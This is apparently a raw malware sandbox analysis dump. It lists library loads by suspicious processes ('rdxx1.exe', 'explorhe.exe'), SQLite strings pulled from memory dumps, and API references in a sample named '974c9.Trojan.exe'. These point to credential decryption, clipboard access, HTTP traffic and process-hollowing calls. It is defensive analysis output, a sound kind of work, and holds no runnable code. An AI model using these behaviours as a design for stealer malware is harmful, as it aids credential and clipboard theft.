Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006352) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.ENU (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.EN (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007388) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.ENU (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.EN (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004032) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.ENU (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.EN (UID: 00000000-00004204) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004204)3a:Tb79,"CREATE TABLE sqlite_master(" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "create table sqlite_master(") "CREATE TABLE" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "create table") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='table' or type='index' or type='trigger');"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where tbl=%q"), "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where idx=%q"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "select name rootpage sql from '%q'.%s"), "UPDATE %Q.%s SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00006224.00000000.68161.00F51000.00000040.mdmp, Indicator: "update %q.%s set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d")3b:Ta4ce,Found reference to API (Indicator: "VirtualAlloc"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "VirtualFree"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "GetProcAddress"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "ExitProcess"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "MessageBoxA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "RegCloseKey"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "SysFreeString"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "CreateFontA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "ShellExecuteA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "CryptUnprotectData"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "SetupDiEnumDeviceInterfaces"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "RtlUnicodeStringToAnsiString"; File: "974c9.Trojan.exe") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00008112.00000000.67752.00F01000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00008112.00000000.67752.00F01000.00000040.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; File: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "EncodePointer"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "DecodePointer"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FlsAlloc"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FlsFree"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetActiveWindow"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetLastActivePopup"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetProcessWindowStation"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "RaiseException"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetLastError"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "MultiByteToWideChar"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "lstrlenA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "InterlockedDecrement"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FreeResource"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SizeofResource"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "LockResource"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "LoadResource"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FindResourceA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "Module32Next"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "CloseHandle"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "Module32First"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetCurrentProcessId"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "OleInitialize"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "HeapFree"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetProcessHeap"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "HeapAlloc"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetCommandLineA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "HeapCreate"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "DeleteCriticalSection"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "LeaveCriticalSection"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "EnterCriticalSection"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "HeapReAlloc"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "HeapSize"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "TerminateProcess"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetCurrentProcess"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "IsDebuggerPresent"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetModuleHandleW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "Sleep"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "WriteFile"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetStdHandle"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetModuleFileNameA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "WideCharToMultiByte"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetConsoleCP"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetConsoleMode"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "ReadFile"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "TlsGetValue"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "TlsAlloc"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "TlsSetValue"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "TlsFree"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "InterlockedIncrement"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetLastError"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetCurrentThreadId"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FlushFileBuffers"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetFilePointer"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetHandleCount"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetFileType"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetStartupInfoA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "RtlUnwind"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetTickCount"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetCPInfo"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetACP"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetOEMCP"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "IsValidCodePage"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "CompareStringA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "CompareStringW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "WriteConsoleA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "WriteConsoleW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetStdHandle"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "CreateFileA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetLocaleInfoA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "LCMapStringA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "LCMapStringW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetStringTypeA"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "GetStringTypeW"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "SetEndOfFile"; File: "rdxx1.exe.1741511215") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "SetThreadGroupAffinity"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetThreadGroupAffinity"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumberEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; 